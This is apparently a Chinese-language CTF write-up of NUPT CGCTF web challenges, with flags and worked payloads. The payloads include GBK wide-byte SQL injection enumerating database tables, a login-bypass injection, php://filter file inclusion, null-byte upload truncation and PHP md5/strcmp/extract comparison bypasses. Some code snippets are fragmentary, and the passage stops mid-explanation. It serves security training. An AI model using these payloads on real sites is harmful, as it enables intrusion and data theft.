https://cgctf.nuptsast.com/challenges#Web
题目链接:http://chinalover.sinaapp.com/web1/
查看源码可得到flag
flag:nctf{flag_admiaanaaaaaaaaaaa}
题目链接:http://chinalover.sinaapp.com/web19/
题目给了源码
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
经分析,题目需要我们输入一个a值,要求a的md5值与’QNKCDZO’的md5值相同
QNKCDZO的md5值为0e830400451993494058024219903391
要使a的md5值与给出的md5值相同进行强行爆破不太现实
仔细观察给出的md5值发现 该值以0e开头的
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0e”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0e”开头的,那么PHP将会认为他们相同,都是0
所以我们只需要找到md5值为0e开头的值赋予a 则可以得到flag
以下几个值作为参考
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
所以在url后面跟上?a=s878926199a
即可得到flag
flag:nctf{md5_collision_is_easy}
题目链接:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php
题目要求输入口令,而口令在下方已经直接给出
但是我们直接输入是不行的,因为输入框限制了输入的长度为10
我们按下F12,将输入框限制输入长度改为更长,这里我改成了20
修改完毕后,在输入框中输入下面的口令,即可得到flag
flag:nctf{follow_me_to_exploit}
题目链接:http://chinalover.sinaapp.com/web2/index.html
经分析后,flag一定跟图片有关,将图片另存为本地
将图片用文本格式或者用WinHex打开
可以看到flag隐藏在文本的最后面
flag:nctf{photo_can_also_hid3_msg}
题目链接:http://chinalover.sinaapp.com/web3/
链接打开后是一个很正常的网页
我们查看源码,可以看到一个名为SO.html的网页
题如其名,层层递进,点开SO.html后还有S0.html、SO.htm、S0.htm
最后我们会找到一个叫404.html的网页
在源码中我们可以看到一串奇怪的js注释,仔细观察一下就可以得到flag
此外我们也可以使用burp 很快就能找到404.html
flag:nctf{this_is_a_fl4g}
题目链接:http://homura.cc/CGfiles/aaencode.txt
链接打开后全是颜文字表情(o_o) 这里应该是Unicode编码
右键另存为页面到本地 aaencode.txt 保存后再打开 就可以得到正常的aaencode
复制下来 在浏览器中按F12 在控制台中 粘贴这些颜文字 即可得到flag
flag:nctf{javascript_aaencode}
题目链接:http://chinalover.sinaapp.com/web8/
点开burp抓包,可以得到flag
flag:nctf{yougotit_script_now}
题目给出代码:
直接放到php里面跑一遍
发现有语法错误,把eval改成echo,即可得到flag
flag:nctf{gzip_base64_hhhhhh}
题目链接:http://4.chinalover.sinaapp.com/web7/index.php
点开链接后,有一个click me?no 点一下
此时url为
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
通过对url进行分析以及题目名称文件包含来看,题目提示flag在index中,这里发送了file为key,show.php为value的GET请求
index.php大致内容如上,通过访问index.php?file=show.php,则$file=show.php,也就是include(show.php),而对于php的include()函数,会获取指定文件的内容,在执行前将代码插入到index.php文件中。而如果被包含的文件中无有效的php代码,则会直接输出无效的文件内容。通常利用无效代码这一点来将文件内容输出。
通过以上分析,我们应该是需要获取index.php文件的内容进行下一步分析,那么就需要利用include(),包含index.php,并且是无效代码的index.php文件,尝试使用php伪协议php://filter,以base64编码格式读取文件(因为base64编码的index.php无法执行,将会被直接输出),构造:
file=php://filter/read=convert.base64-encode/resource=[文件路径]
文件路径这里采取相对路径,相对于/web7/index.php文件所在目录下的index.php文件,即…/index.php(当前目录下的index.php文件)
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
用base64解密,即可得到flag,解密结果如下
asdf
click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
flag:nctf{edulcni_elif_lacol_si_siht}
题目链接:http://chinalover.sinaapp.com/web9/
这道题跟0x07一样,直接抓包,不过这题的flag在响应头中
flag: nctf{this_is_302_redirect}
题目链接:http://way.nuptzj.cn/web6/
好像失效了⊙﹏⊙‖∣
题目链接:http://chinalover.sinaapp.com/web10/index.php
题目描述中有一个tips:0==not
抓包看看
抓包结果结合题目cookie 以及tips,我们试试将Cookie:Login=0修改为1,得到flag
flag:nctf{cookie_is_different_from_session}
题目链接:http://chinalover.sinaapp.com/web11/
点击这个链接,结果真的是百度百科,我还仔细把百科看了一遍⊙﹏⊙‖∣
看上面提示,得知应该存在一个robots.txt,打开看看
上面的字由于编码原因看不起了,不过大概能知道有一个sql.php文件以及flag跟下面的代码有关
no! try again";
}
else{
echo($query[content]);
}
}
?>
分析后发现存在一个intval()函数,用于获取变量的整数值
根据下面的if函数分析,只要输入一个整数位为1024,小数位不为0的id,即可得到flag,这里我用的是1024.1
sql.php?id=1024.1
题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
显示了当前语句,很容易看出来是字符型注入
尝试在id=1后面加上一个单引号’,发现’被转义为反斜杠\,再结合题目GBK Injection,不难想到这是一道宽字节注入题,我们可以用%df%27来代替单引号’,后面发现空格和#也被过滤了,所以用%23代替#,注释号/**/代替空格
空格---------->/**/
#------------>%23
'------------>%df'=%df%27
接下来开始注入
id=-1’ union select 1,2#
?id=-1%df%27/**/union/**/select/**/1,2%23
可以知道回显位为2
id=-1’ union select 1,database()#
?id=-1%df%27/**/union/**/select/**/1,database()%23
可以得到数据库名为sae-chinalover
?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572#
这里数据库名字用16进制表示
?id=-1%df%27/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x7361652d6368696e616c6f766572%23
可以得到ctf,ctf2,ctf3,ctf4,gbksqli,news六张表
查询每一张表的列,以gbksqli为例
?id=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x67626b73716c69#
?id=-1%df%27/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x67626b73716c69%23
可以得到gbksqli中有flag列(ctf4表中有个假flag)
查询flag值
?id=-1 union select 1,flag from gbksqli#
?id=-1%df%27/**/union/**/select/**/1,flag/**/from/**/gbksqli%23
可以得到flag
flag:nctf{gbk_3sqli}
题目链接:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php
题目给出代码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的,这里限制变量nctf的必须为数字型
strpos() 函数查找字符串在另一字符串中第一次出现的位置,返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE,这里限制nctf中必须含有’#biubiubiu’
同时要求变量为数字型且含有字符串片段,这里我们有两种方法
方法一:ereg(array)返回NULL,strpos(array)返回NULL而NULL与FALSE类型是不同的,所以我们可以考虑传入nctf为一个数组
?nctf[]
方法二:根据题目名称,我们可以用%00截断的方式来获得flag
ereg()函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?nctf=1%00%23biubiubiu
这里#用%23代替
flag:nctf{use_00_to_jieduan}
题目链接:http://chinalover.sinaapp.com/web17/index.php
题目给出代码
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
这里要求传入a,b要求a,b的值不相同,而a,b的md5值相同,我们就想到0x02中,md5()函数中存在0e截断,所以我们只用传入两个md5值为0e开头的a,b值即可
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
这里采用0x02的数据
?a=s878926199a&b=s155964671a
同时,md5(array)的值为NULL,所以我们也可以考虑传入两个数组
?a[]=0&b[]=1
flag:nctf{php_is_so_cool}
题目链接:http://chinalover.sinaapp.com/web18/index.php
下面有个source.php,给出代码
要求传入一个pass值,使得pass值与thepassword_123相同,即可得到flag,但我们不知道thepassword_123是多少
extract() 函数从数组中将变量导入到当前的符号表,该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
extract(array,extract_rules,prefix)中第二个变量是检查和符号表中已存在的变量名是否冲突,而在上面为默认值,若没有另外指定,函数将覆盖已有变量,故传入任意pass和与之相等的thepassword_123即可获取flag
抓包,post传入
pass=1&thepassword_123=1
题目链接:http://way.nuptzj.cn/php/index.php
题目已崩,说明PHP不是世界上最好的语言
题目链接:http://chinalover.sinaapp.com/web4/xxx.php
理论上抓包,加上X-Forwarded-For为127.0.0.1就可以成功,这里可能是题目崩了
题目链接:http://way.nuptzj.cn/web5/
崩
题目链接:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html
一道正经的上传题,我们随便上传一个文件提示我们应该上传图片,上传一张jpg图片,提醒我们应该改为PHP后缀
抓包,尝试将filename改成1.jpg.php,失败了
我们采用%00截断,将upload/后面加上1.php .jpg
,php后面有一个空格,方便一会儿修改
在hex中找到这里,把空格的20改成00
得到flag
flag:nctf{welcome_to_hacks_world}
(这里尝试过将filename改成1.php .jpg
再截断,结果失败了)
题目链接:http://chinalover.sinaapp.com/index.php
有个Source,代码如下
'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "Logged in! flag:********************
";
}
if($query[user] != "admin") {
echo("You are not admin!
");
}
}
echo $query[user];
?>
分析下代码,明显的带括号的字符型,这里仅判断user=admin即可登录成功,所以我们直接闭合user之后的语句并让user=admin即可
抓包,post,得到flag
user=admin')#&pass=1
题目链接:http://chinalover.sinaapp.com/web21/
题目给出代码
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
strcmp(string1,string2)函数比较两个字符串,若返回0则string1=string2,返回<0则string1
这里要求我们传入一个pass值与未知的pass1相同,即可得到flag
同样,strcmp(array)的值为NULL
不过这里,好像出现了点小问题,无论如何都不能传入pass值,gg
题目链接:http://chinalover.sinaapp.com/web12/index.php
题目给出代码
= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
ord(string)是求string的ascii值
分析下代码,题目要求我们传入一个key其中不能含有数字,又要跟’54975581388’相同
一开始没什么思路,不过把’54975581388’换成16进制,就知道了
54975581388=0xccccccccc
?key=0xccccccccc
题目链接:http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==
题目要求我们重制管理员admin的密码
我们将账号栏改成admin,发现无法修改,验证码告诉了是1234
抓包
user=admin&newpass=111&vcode=1234
http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==
发现有个user1=Y3RmdXNlcg==
看上去是个base64编码,解码后为ctfuser,为默认输入的值,所以我们还需要将admin的base64值加到url的user1=后面
admin的base64值为YWRtaW4=
nctf{reset_password_often_have_vuln}
题目链接:http://4.chinalover.sinaapp.com/web25/index.php
题目链接:http://chinalover.sinaapp.com/web15/index.php
分析下代码,clean()函数中stripslashes(string)函数的作用是去掉字符串string中的反斜杠\,htmlentities(string, ENT_QUOTES)的作用是将字符串中string的单引号和双引号编码